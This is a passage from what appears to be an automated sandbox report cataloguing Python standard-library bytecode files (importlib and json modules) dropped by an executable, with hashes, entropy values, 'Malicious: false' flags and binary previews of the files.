Preview:	o.........Sg.:.......................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z...z.d.d.l.Z.W.n...e.y...Z...z.e.j.d.k.r"..d.Z.W.Y.d.Z.[.n.d.Z.[.w.w.z.d.d.l.Z.W.n...e.y@......e.Z.Y.n.w.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d...Z.G.d.d...d.e.j.d...Z.G.d.d...d.e.j.d...Z.e.e.e.j.e.j.e.j.e.j.....G.d.d...d.e.j.d...Z.e.e.e.j.....G.d.d...d.e...Z.G.d.d...d.e...Z.e.e.e.j.e.j.....G.d.d...d.e...Z.e.e.e.j ....G.d.d...d.e.j!e.e...Z!e.e!e.j"e.j#....G.d.d...d.e.j$e.e...Z$e.e$e.j"....G.d.d...d.e.j.d...Z%e.G.d.d ..d e.....Z&G.d!d"..d"e%..Z'd.S.)#z(Abstract base classes related to import......)..._bootstrap_external)...machinery.....N.._frozen_importlib)...Loader)...BinaryIO..Iterable..Text)...Protocol..runtime_checkablec....................G...sZ...\|.D.](}.\|...\|.....t.d.u.r*z.t.t.\|.j...}.W.n...t.y$......t.t.\|.j...}.Y.n.w.\|...\|.....q.d.S...N)...registerr......getattr..__name__..AttributeError.._frozen_importlib_external).Z.abstract_clsZ.classes..clsZ.frozen_cls..r....."C:\recover\pw\l

C:\recover\pw\lib\importlib\pycache\machinery.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	942
Entropy (8bit):	5.379537870355145
Encrypted:	false
SSDEEP:	12:CtDkBAzUYcjBN/8XHmE16iGMwigQFM4u0LIX7OujdiXg8G943RXqnrmHO28sVtP:W2joXT16iGMJgQFpAquj8GsXsrmH58K
MD5:	B31AC11FF44BEFD56C7480853F0F3996
SHA1:	73A22C924F8EDFD1656B7155F2BCF5A814EFD3B1
SHA-256:	B8496989E87995112FA008725F6AA923228BCE7A6483C7DE5DCF393B602BAE13
SHA-512:	6A63ABEB768B1266C8B62D273DC19E4CDA029523D8644C0CEBFE2EBFF795A8FA56F01BFF7B82F5CF1D941B5DE1BC7CD27A5B1EA3548A396F589D043B262AAF8D
Malicious:	false
Preview:	o.........SgR........................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d...Z.d.S.).z9The machinery of importlib: finders, loaders, hooks, etc......)...ModuleSpec)...BuiltinImporter)...FrozenImporter)...SOURCE_SUFFIXES..DEBUG_BYTECODE_SUFFIXES..OPTIMIZED_BYTECODE_SUFFIXES..BYTECODE_SUFFIXES..EXTENSION_SUFFIXES)...WindowsRegistryFinder)...PathFinder)...FileFinder)...SourceFileLoader)...SourcelessFileLoader)...ExtensionFileLoaderc....................C...s....t.t...t...S.).zAReturns a list of all recognized module suffixes for this process).r....r....r......r....r.....(C:\recover\pw\lib\importlib\machinery.py..all_suffixes....s......r....N)...__doc__.._bootstrapr....r....r......_bootstrap_externalr....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r......<module>....s............................

C:\recover\pw\lib\importlib\pycache\readers.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5180
Entropy (8bit):	4.864898265661932
Encrypted:	false
SSDEEP:	96:BPvIoTQ1zsquRgowzdmCbBavWMPTjTzKuhXBoPTl906kEt7IQ7ClEXsjMptAWrxB:zQ1ztyvedlbB7IruuhXBoPTlK9EhIQOi
MD5:	A3A8CF66647E22C38F65877E3BE2833B
SHA1:	A2745E638655FA317B2BD4FE661C79E29BF23E9A
SHA-256:	D5DEB0DAA8C47C9EF2AA0D1837ED7DC1273B58FC3334253B64BF6D227DC7BDD5
SHA-512:	09377FBAA2EC3378B8298678AAE330BEF9F31C4A3AA79F88A36E8D72787708ED6A8990F39ECD0F926A94BE499445A087D428265B33721FFEA198870AE0C012E2
Malicious:	false
Preview:	o.........Sg~........................@...sx...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.d.S.)......N.....)...abcc....................C...s....t.t.j...\|.....S...N)...iter..collections..OrderedDict..fromkeys)...items..r.....&C:\recover\pw\lib\importlib\readers.py..remove_duplicates...........r....c....................@....$...e.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...FileReaderc....................C...s....t...\|.j...j.\|._.d.S.r....)...pathlib..Path..path..parent)...self..loaderr....r....r......__init__....s......z.FileReader.__init__c....................C........t.\|.j...\|.....S...z{. Return the file system path to prevent. `resources.path()` from creating a temporary. copy.. ....strr......joinpath..r......resourcer....r....r......resource_path...........z.FileReader.resource_pathc....................C........\|.j.S.r......r......r....r....r....r......files...........z.FileReader.filesN...._

C:\recover\pw\lib\importlib\pycache\resources.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5367
Entropy (8bit):	5.330848833464683
Encrypted:	false
SSDEEP:	96:vzYSudPIqJNGeMzW9dlfxV50JJgFGx6qjBfjO6y3SnKL49oNhbMrhKgTlv:vJBnS9xV5SJgGx6AjI3SKyhRTlv
MD5:	0975DE9CA5B7B17C051969D42A85F486
SHA1:	1CB8A50FE60F342F35159E013B52C4D944ECE9BF
SHA-256:	8C09C26679956854425604DE805667E2FD9D39BF37C780EE86EA239324FB0293
SHA-512:	9CEA9BD579128D188A8C0C2E40223DD6EC1BBC4DF18B595C7564D1454FE40F819168A9F7EDD18E3C556FDD40016BCF98291C1F601B1E9DFD86806789DC6F1832
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z e.e!e.f...Z"e.e!e.j#f...Z$d.e"d.e$d.e.f.d.d...Z%....d3d.e"d.e$d.e!d.e!d.e.f.d.d...Z&d.e"d.e$d.e'f.d.d...Z(....d3d.e"d.e$d.e!d.e!d.e!f.d.d ..Z)d.e"d.e$d.d!f.d"d#..Zd$d%..Z+d&d'..Z,d(d)..Z-d.e"de!d.e.f.d+d,..Z/d.e"d.e.e!..f.d-d...Z0e.d/d0....Z1e1.2e...d1d2....Z3d.S.)4.....N.....)..._common)...as_file..files)...ResourceReader)...suppress)...ResourceLoader)...ModuleSpec)...BytesIO..TextIOWrapper)...Path)...ModuleType)...ContextManager..Iterable..Union)...cast)...BinaryIO..TextIO)...Sequence)...singledispatch)...Package..Resourcer....r......contentsr......is_resource..open_binary..open_text..path..read_binary..read_text..package..resource..returnc....................C...s&...t...\|...}.t...\|...}.t...\|...}.\|.d.u.r.\|...\|...S.t.t.\|.j...}.\|

C:\recover\pw\lib\importlib\pycache\util.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	9327
Entropy (8bit):	5.31349836671147
Encrypted:	false
SSDEEP:	192:sptLll1YVqQzvbab+Q3+LbcwE5lFz0w7/RhZT:2bl1YVqoeb+QuLbpmFz06RhZT
MD5:	B3E21AD0F18D5941D66A57B20DB8B0D5
SHA1:	E697A448DAA9E397A1E44CDB241CF0319B22F939
SHA-256:	685AE9B582B7E160E422F02D6E17712254E3A56A018555D6A370CAFA81D1DB3D
SHA-512:	BE333B4452E229771E23B1B510C955FC083B9727311ACAFFAA154CC52BE2A59C6A0CF4FF61AAF92691D1BAE5427099900786BBFECA18463E85E0AD005FA60AF1
Malicious:	false
Preview:	o.........Sg.........................@...s...d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d...Z.d.d...Z.d$d.d...Z.d$d.d...Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.G.d d!..d!e.j...Z.G.d"d#..d#e...Z d.S.)%z-Utility code for constructing importers, etc......)...Loader)...module_from_spec)..._resolve_name)...spec_from_loader)..._find_spec)...MAGIC_NUMBER)..._RAW_MAGIC_NUMBER)...cache_from_source)...decode_source)...source_from_cache)...spec_from_file_location.....)...contextmanagerNc....................C...s....t...t.\|...S.).zBReturn the hash of source_bytes* as used in hash-based pyc files.)..._imp..source_hashr....)...source_bytes..r.....#C:\recover\pw\lib\importlib\util.pyr........s......r....c....................C...s\...\|...d...s.\|.S.\|.s.t.d.t.\|.....d.......d.}.\|.D.].}.\|.d.k.r...n.\|.d.7.}.q.t.\|.\|.d.....\|.\|...S.).z2Resolve a relative module nam

C:\recover\pw\lib\importlib\metadata\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	37094
Entropy (8bit):	5.210143804203666
Encrypted:	false
SSDEEP:	768:N3MjZ3JEQWRwd2Aj+j5HlBqOVKpmtI5FugF0Mj:N3cAL9BANHcgFRj
MD5:	15787C88330B06D58ECC5D46B5C6B633
SHA1:	5AEFC451B74B5402E55CCC9A548D00A3C69B7C0A
SHA-256:	C443AEE6836DF52FCB2FB9BD68B2E782919F1EEE5B43760C1632354BA6E92849
SHA-512:	712E762C9656AA604CF40E42F6E82E94B010B1EB138E931BA0955E636A51E71CA5E056DB96C883A43A57DAB72E0458334FC85626B68E5937320A836400B91845
Malicious:	false
Preview:	o.........Sg.{.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l m!Z!..d.d.l.m"Z"..d.d.l#m$Z$m%Z%m&Z&m'Z'..g.d...Z(G.d.d...d.e)..ZG.d.d...d...Z+G.d.d...d.e..,d.d.....Z-G.d.d...d.e...Z/G.d.d...d.e/..Z0G.d.d...d...Z1G.d.d...d.e1e2..Z3G.d.d ..d e.j4..Z5G.d!d"..d"..Z6G.d#d$..d$..Z7G.d%d&..d&e!..Z8G.d'd(..d(..Z9G.d)d..d*..Z:G.d+d,..d,..Z;G.d-d...d.e8..Z<G.d/d0..d0e7..Z=d1d2..Z>d3d4..Z?d5e.j.f.d6d7..Z@d8d9..ZAd5e'e0e3f...f.d:d;..ZBd<d=..ZCd>d?..ZDd5e%eEe$eE..f...f.d@dA..ZFd.S.)B.....N.....)..._adapters.._meta)...PackageMetadata)...FreezableDefaultDict..Pair)...method_cache..pass_none)...unique_everseen).r......SimplePath)...suppress)...import_module)...MetaPathFinder)...starmap)...List..Mapping..Optional..Union)...Distribution..DistributionFinderr......PackageNotFoundError..

C:\recover\pw\lib\importlib\metadata\pycache\_adapters.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2342
Entropy (8bit):	5.136410691415351
Encrypted:	false
SSDEEP:	48:luvHOKjPXocKHdq5UHdUktPdSNwplt9SDYvloUTG:CHOKLocKHdqUdUWlSWplZ9oEG
MD5:	014F7FF3ACADD6FA2C20D54486BACAF1
SHA1:	72A9B67FEE6F4EE6C2D1076505D4078AF5DA42C3
SHA-256:	49E031F7CACC69C654D2C5FECD3CBD71B55449E4B3F692C82B0ACA01AAABFDAA
SHA-512:	BA6E1A0EC2AC74999A624039B2D25B8B851A96EBA679138F36EC4DF455FC837B49D3A10E39AF722CB9643EF3F2C76C8FC99C1ADE29B967505DA7DDB7152C3DC8
Malicious:	false
Preview:	o.........Sg.........................@...s<...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...G.d.d...d.e.j.j...Z.d.S.)......N.....)...FoldedCasec........................sb...e.Z.d.Z.e.e.e.g.d.......Z...d.e.j.j.f...f.d.d...Z.d.d...Z...f.d.d...Z.d.d...Z.e.d.d.....Z.....Z.S.)...Message).Z.Classifierz.Obsoletes-DistZ.Platformz.Project-URLz.Provides-Distz.Provides-Extraz.Requires-Distz.Requires-Externalz.Supported-PlatformZ.Dynamic..origc........................s"...t.....\|...}.t.\|.....t.\|.......\|.S...N)...super..__new__..vars..update)...clsr......res....__class__...1C:\recover\pw\lib\importlib\metadata\_adapters.pyr........s..........z.Message.__new__c....................O...s....\|.....\|._.d.S.r....)..._repair_headers.._headers)...self..args..kwargsr....r....r......__init__#...s......z.Message.__init__c........................s....t.......S.r....).r......__iter__..r....r....r....r....r....'...s......z.Message.__iter__c........................s>...d.d.......f.d.d...t.\|...d...D...}.\|.j.r.\|...d.\|.....f.

C:\recover\pw\lib\importlib\metadata\pycache\_collections.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1517
Entropy (8bit):	4.990665061745964
Encrypted:	false
SSDEEP:	24:ABf0kCRklLM8ZOSIJOmhgP3uSQTVMPt/fkWB16RB6lghkChedco/qq6Ddqrqqp:ABf0Xkl4KOSI4mh6pMqdcWB1cegfhe+y
MD5:	788C4D13D0F52C17873971852306E3A3
SHA1:	CC3B4046EDC25AC67F8F4BE70ED00AC9809C4E97
SHA-256:	C95014667FC769E02BD68632999D52BA00ABDE81980AA3510C5125B99B777814
SHA-512:	7B96AB7AEED3433B0F108847842D6D04F342F541BC44F59E0BBB505273FB7E5921FB6B4BC07487A29535614DEFAF5A842FB15ED98CD37D958EEE9BAD5A8AC265
Malicious:	false
Preview:	o.........Sg.........................@...s6...d.d.l.Z.G.d.d...d.e.j...Z.G.d.d...d.e...d.d.....Z.d.S.)......Nc........................s(...e.Z.d.Z.d.Z...f.d.d...Z.d.d...Z.....Z.S.)...FreezableDefaultDicta!.... Often it is desirable to prevent the mutation of. a default dict after its initial construction, such. as to prevent mutation during iteration... >>> dd = FreezableDefaultDict(list). >>> dd[0].append('1'). >>> dd.freeze(). >>> dd[1]. []. >>> len(dd). 1. c........................s....t.\|.d.t...j...\|...S.).N.._frozen)...getattr..super..__missing__)...self..key....__class__...4C:\recover\pw\lib\importlib\metadata\_collections.pyr........s......z FreezableDefaultDict.__missing__c........................s......f.d.d....._.d.S.).Nc........................s..........S.).N)...default_factory).r......r....r....r......<lambda>....s......z-FreezableDefaultDict.freeze.<locals>.<lambda>).r....r....r....r....r......freeze....s......z.FreezableDefaultDict.freeze)

C:\recover\pw\lib\importlib\metadata\pycache\_functools.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	5.078128279346499
Encrypted:	false
SSDEEP:	48:6HbuTGKoOIXlUsSUUEQ1lGIGX5G5GurSYwBpHPdG7lfsJdSOTK/J/SarXN0le/y/:NoOCDUX4sXwjvMXNpa5S1qoOIk
MD5:	D5E62703FE06B7CE658B45792DB1AD0C
SHA1:	7DF5BBBF182DA78413EC4F1D3844D3863CD88995
SHA-256:	4FEA1501AC517039FDF33C1B271614A63A80A0B8D02F200C32DF279A79C46D59
SHA-512:	7DA41454D89668ACE9160EDC65F8B8401EF4CA53C81130B0A5E1D457E8E902FF4F1E6EF1028388439E1A1268DA04B36B05E9A3392A437ABDB04B88A129C3103D
Malicious:	false
Preview:	o.........Sg.........................@...s&...d.d.l.Z.d.d.l.Z.d.d.d...Z.d.d...Z.d.S.)......Nc........................s(.....p.t...........f.d.d...}.d.d...\|._.\|.S.).aV.... Wrap lru_cache to support storing the cache data in the object instances... Abstracts the common paradigm where the method explicitly saves an. underscore-prefixed protected property on first call and returns that. subsequently... >>> class MyClass:. ... calls = 0. .... ... @method_cache. ... def method(self, value):. ... self.calls += 1. ... return value.. >>> a = MyClass(). >>> a.method(3). 3. >>> for x in range(75):. ... res = a.method(x). >>> a.calls. 75.. Note that the apparent behavior will be exactly like that of lru_cache. except that the cache is stored on each instance, so values in one. instance will not flush values from another, and when an instance is. deleted, so are the cached values for that instance...

C:\recover\pw\lib\importlib\metadata\pycache\_itertools.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	569
Entropy (8bit):	5.087976948967371
Encrypted:	false
SSDEEP:	12:Cl//48ZPUbmR6OHRgD4gvwfJLV0jyr4evJsoVzoufN++k+Zqq18:UDPUe6+k4fJgyEXODlfnZqq18
MD5:	D78A977BE5D8722FACFF157DC9FEF14B
SHA1:	FEA174D9EA15B641EA66BC7B6DC602B4B8E9AF9F
SHA-256:	7330C8283C3A5DD8555246750649A490C6D7E97ED65184824BB53A0AF7C627CE
SHA-512:	5176B6BB100F05447E027A13E9D49A63254AB3A7846DE9AFF4643DC9C15680FD1DF1A26A13F51D72AD4404201E3DA77F17F823EAE6E7A868A7362E467E777DF2
Malicious:	false
Preview:	o.........Sgr........................@...s....d.d.l.m.Z...d.d.d...Z.d.S.)......)...filterfalseNc....................c...sf.....t...}.\|.j.}.\|.d.u.r.t.\|.j.\|...D.].}.\|.\|.....\|.V...q.d.S.\|.D.].}.\|.\|...}.\|.\|.v.r0\|.\|.....\|.V...q.d.S.).zHList unique elements, preserving order. Remember all elements ever seen.N)...set..addr......__contains__)...iterable..key..seenZ.seen_add..element..k..r.....2C:\recover\pw\lib\importlib\metadata\_itertools.py..unique_everseen....s..................................r....).N)...itertoolsr....r....r....r....r....r......<module>....s........

C:\recover\pw\lib\importlib\metadata\pycache\_meta.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2262
Entropy (8bit):	4.69505985449216
Encrypted:	false
SSDEEP:	48:hgnzBuSda01UuJpYwj1JEZNmsZBCdHEjX9vlq:hgNuaa01UAp/j1JErm8BCdHED90
MD5:	595BA93257901EE402A585187270BFE6
SHA1:	7194708E349F2F7E02988B7D58A862FB21C7881D
SHA-256:	522766BCD952EE46099426C2B2832413C953136C7426B09BE948B859E2E21C34
SHA-512:	31D9A716837ACB181974C74E393F8850036707B9AF17F239A5E5DE8A6FDB6630FE9658AC3CA5388A3AB3758E60F11B119F2B11B00FBE19B06FF804BF828215C3
Malicious:	false
Preview:	o.........Sg.........................@...sP...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.)......)...Any..Dict..Iterator..List..Protocol..TypeVar..Union.._Tc....................@...s....e.Z.d.Z.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.e...f.d.d...Z.d.d.e.d.e.d.e.e.e...e.f...f.d.d...Z.e.d.e.e.e.e.e.e...f...f...f.d.d.....Z.d.S.)...PackageMetadata..returnc....................C........d.S...N......selfr....r.....-C:\recover\pw\lib\importlib\metadata\_meta.py..__len__...........z.PackageMetadata.__len__..itemc....................C...r....r....r....).r....r....r....r....r......__contains__....r....z.PackageMetadata.__contains__..keyc....................C...r....r....r....).r....r....r....r....r......__getitem__....r....z.PackageMetadata.__getitem__c....................C...r....r....r....r....r....r....r......__iter__....r....z.PackageMetadata.__iter__...name..failobjc....................C........d.S.).zP. Return all values associated wi

C:\recover\pw\lib\importlib\metadata\pycache\_text.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3058
Entropy (8bit):	5.039791462915752
Encrypted:	false
SSDEEP:	48:bRhiYmIWTDvbG12wYRzHiUyOrIuxeQc2zGV4KrhiOqLigqyiFqYbvHqMHXNVwQqg:lhFXWTrbGowYRzHinOrIAeQc2u4KrgOD
MD5:	470CCA5A24915B85609706CD5F60C11C
SHA1:	5D699B9665524BB7E8A9096C22B341C3B1464547
SHA-256:	D52B70D875689C68E4543C3F75C8429BF7736FB6242A0A0EAB9A238852211536
SHA-512:	F212E56CF13C8F201968F12407A02AD69E5984843E54BC1BF4F42AD0EEF1CB799DD2A3B5067D4E5659CCE4325C4BA8AEBA7FC880063C851EAB43777911D90403
Malicious:	false
Preview:	o.........Sg.........................@...s(...d.d.l.Z.d.d.l.m.Z...G.d.d...d.e...Z.d.S.)......N.....)...method_cachec........................sr...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z...f.d.d...Z.d.d...Z.e...f.d.d.....Z.d.d...Z.d.d.d...Z.....Z.S.)...FoldedCasea{.... A case insensitive string class; behaves just like str. except compares equal when the only variation is case... >>> s = FoldedCase('hello world').. >>> s == 'Hello World'. True.. >>> 'Hello World' == s. True.. >>> s != 'Hello World'. False.. >>> s.index('O'). 4.. >>> s.split('O'). ['hell', ' w', 'rld'].. >>> sorted(map(FoldedCase, ['GAMMA', 'alpha', 'Beta'])). ['alpha', 'Beta', 'GAMMA'].. Sequence membership is straightforward... >>> "Hello World" in [s]. True. >>> s in ["Hello World"]. True.. You may test for set inclusion, but candidate and elements. must both be folded... >>> FoldedCase("Hello World") in {s}. True. >>> s in {FoldedCa

C:\recover\pw\lib\json\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	12262
Entropy (8bit):	5.380574711357586
Encrypted:	false
SSDEEP:	192:IM0k25NKigD6B7+vx1GkRGqb9j4StKv72vx1GkRGqb4MmQTQOQkQsx1LtbQkQsxz:IM0TNKigBvx99j4A3vxx47OZrXZrb/
MD5:	4330D3F472F9B5ED7E744071DDD3EC11
SHA1:	3DA3A4D616B044F2B782B7EE53561D4DBF0D7940
SHA-256:	B15F81708D2C222E56D3EA19EA3491DAE9BE4994F2E066DCCD2136D63085B50B
SHA-512:	CF45B24C96E86FEDC29035D4843E0F231910A624DD4D44E4E836B6D4C85694C643C8B99444EA1A5E5D4F85228AD5DB4EFC87A398EC21299AEE4C192887C6BC02
Malicious:	false
Preview:	o.........Sg+8.......................@...s....d.Z.d.Z.g.d...Z.d.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.Z.e.d.d.d.d.d.d.d.d...Z.d.d.d.d.d.d.d.d.d.d...d.d...Z.d.d.d.d.d.d.d.d.d.d...d.d...Z.e.d.d.d...Z.d.d...Z.d.d.d.d.d.d.d...d.d...Z.d.d.d.d.d.d.d...d.d...Z.d.S.).a....JSON (JavaScript Object Notation) <https://json.org> is a subset of.JavaScript syntax (ECMA-262 3rd edition) used as a lightweight data.interchange format...:mod:`json` exposes an API familiar to users of the standard library.:mod:`marshal` and :mod:`pickle` modules. It is derived from a.version of the externally maintained simplejson library...Encoding basic Python object hierarchies::.. >>> import json. >>> json.dumps(['foo', {'bar': ('baz', None, 1.0, 2)}]). '["foo", {"bar": ["baz", null, 1.0, 2]}]'. >>> print(json.dumps("\"foo\bar")). "\"foo\bar". >>> print(json.dumps('\u1234')). "\u1234". >>> print(json.dumps('\\')). "\\". >>> print(json.dumps({"c": 0, "b": 0, "a": 0}, sort_keys=True)). {"

C:\recover\pw\lib\json\pycache\decoder.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	9764
Entropy (8bit):	5.561373828744709
Encrypted:	false
SSDEEP:	192:KEe7HwwynOu7lf2/U4UmurLWltogw//F8mbANHFThJt7AeIf9PT9VKrN/w:9sHwwyNV2/Km+8tON8muIf9TboN4
MD5:	D864CBC806611408B532B20BAA0FF060
SHA1:	4AB43380D2B5AAB6F4EF99715E9C4D8F95CA34F3
SHA-256:	F031C10211AA0BE3DA996AFCE59A8A899DF6F72128540C7B6579F64D5EAD4C1C
SHA-512:	0E91653EE79F8FFE9118354C43EDD6EEC8B1CE6BD15C880AFA781807F04612377664AF6B1CF1F4754E8682285DFE4B141B9CF3F254E161937A8DF4809C00E84A
Malicious:	false
Preview:	o.........Sg.2.......................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.y.......d.Z.Y.n.w.d.d.g.Z.e.j.e.j.B.e.j.B.Z.e.d...Z.e.d...Z.e.d...Z.G.d.d...d.e...Z.e.e.e.d...Z.e...d.e...Z.d.d.d.d.d.d.d.d.d...Z.d.d...Z.d.e.e.j.f.d.d...Z.e.phe.Z.e...d.e...Z.d.Z.d.e.j.e.f.d.d...Z.e.j.e.f.d.d ..Z.G.d!d...d.e...Z.d.S.)"z.Implementation of JSONDecoder......N)...scanner)...scanstring..JSONDecoder..JSONDecodeError..nan..infz.-infc....................@...s ...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.S.).r....a ...Subclass of ValueError with the following additional properties:.. msg: The unformatted error message. doc: The JSON document being parsed. pos: The start index of doc where parsing failed. lineno: The line corresponding to pos. colno: The column corresponding to pos.. c....................C...sb...\|...d.d.\|...d...}.\|.\|...d.d.\|.....}.d.\|.\|.\|.\|.f...}.t...\|.\|.....\|.\|._.\|.\|._.\|.\|._.\|.\|._.\|.\|._.d.S.).N...r.........z.%s: line %d column %d (char %d))...count..rfind..ValueE

C:\recover\pw\lib\json\pycache\encoder.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	11115
Entropy (8bit):	5.495915787062239
Encrypted:	false
SSDEEP:	192:sqBDTkkgsft4MszI6lxnP14KAZX/WPxDvoLabuHyjKFihHtRs4UTFU0Q:FJDiMUnd4CPxDzbuSGFiZd
MD5:	51E6D96E7931D3747C2528AB213A6223
SHA1:	CD6555CAA834F3C4759C058D9EFF3C4CC986D682
SHA-256:	E18B0F56271670C16528388BCA5464A1C4E6975FAF05D5C4AB872F3D18B82403
SHA-512:	237E1D2A4F82B8D97E60FCF4DE33F082A37E6F7950D0363695847F3635AA7674994AF29582EFFE76524758D434F405FE1E51FA1DFB83045C7E6F2BA85428117E
Malicious:	false
Preview:	o.........Sg.@.......................@...s6...d.Z.d.d.l.Z.z.d.d.l.m.Z...W.n...e.y.......d.Z.Y.n.w.z.d.d.l.m.Z...W.n...e.y-......d.Z.Y.n.w.z.d.d.l.m.Z...W.n...e.yA......d.Z.Y.n.w.e...d...Z.e...d...Z.e...d...Z.d.d.d.d.d.d.d.d...Z.e.d...D.].Z.e...e.e...d...e.......q_e.d...Z.d.d...Z.e.pxe.Z.d.d...Z.e.p.e.Z.G.d.d...d.e...Z.e.e.e.e.e.e.e.e e!e.j"f.d.d...Z#d.S.).z.Implementation of JSONEncoder......N)...encode_basestring_ascii)...encode_basestring)...make_encoderz.[\x00-\x1f\\"\b\f\n\r\t]z.([\\"]\|[^\ -~])s....[.-.]z.\\z.\"z.\bz.\fz.\nz.\rz.\t)...\.."................ .....\u{0:04x}..infc....................C........d.d...}.d.t...\|.\|.....d...S.).z5Return a JSON representation of a Python string.. c....................S...s....t.\|...d.....S.).Nr....)...ESCAPE_DCT..group)...match..r.....!C:\recover\pw\lib\json\encoder.py..replace(...s......z%py_encode_basestring.<locals>.replacer....)...ESCAPE..sub....sr....r....r....r......py_encode_basestring$...s........r....c....................C...r....).

C:\recover\pw\lib\json\pycache\scanner.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1914
Entropy (8bit):	5.583721582814334
Encrypted:	false
SSDEEP:	48:bgwhn/cfelN3xf9oI0rv3y1R0vSFkjVTdeIAKjvzSv:r0MFLoPw0TdNAKTS
MD5:	6484B0EE051FB7FA92E1DFAD66C73C75
SHA1:	B65BFFAFBD4C0C910AAD869F548BCA5CAAF7D39C
SHA-256:	82826EDE8A98291A52798A28A2827B7CE652A9ACBB050781F302DD051B995B7D
SHA-512:	8330B10A6438192CA26F7391CB8E5C75DE0725CF2E1D7B7002E60E45FBC901C35EBF6BFDE65DAF9ED033B69D238548B673E48AA0948BA79E3D2A6E64BE27359A
Malicious:	false
Preview:	o.........Sg.........................@...sh...d.Z.d.d.l.Z.z.d.d.l.m.Z...W.n...e.y.......d.Z.Y.n.w.d.g.Z.e...d.e.j.e.j.B.e.j.B...Z.d.d...Z.e.p1e.Z.d.S.).z.JSON token 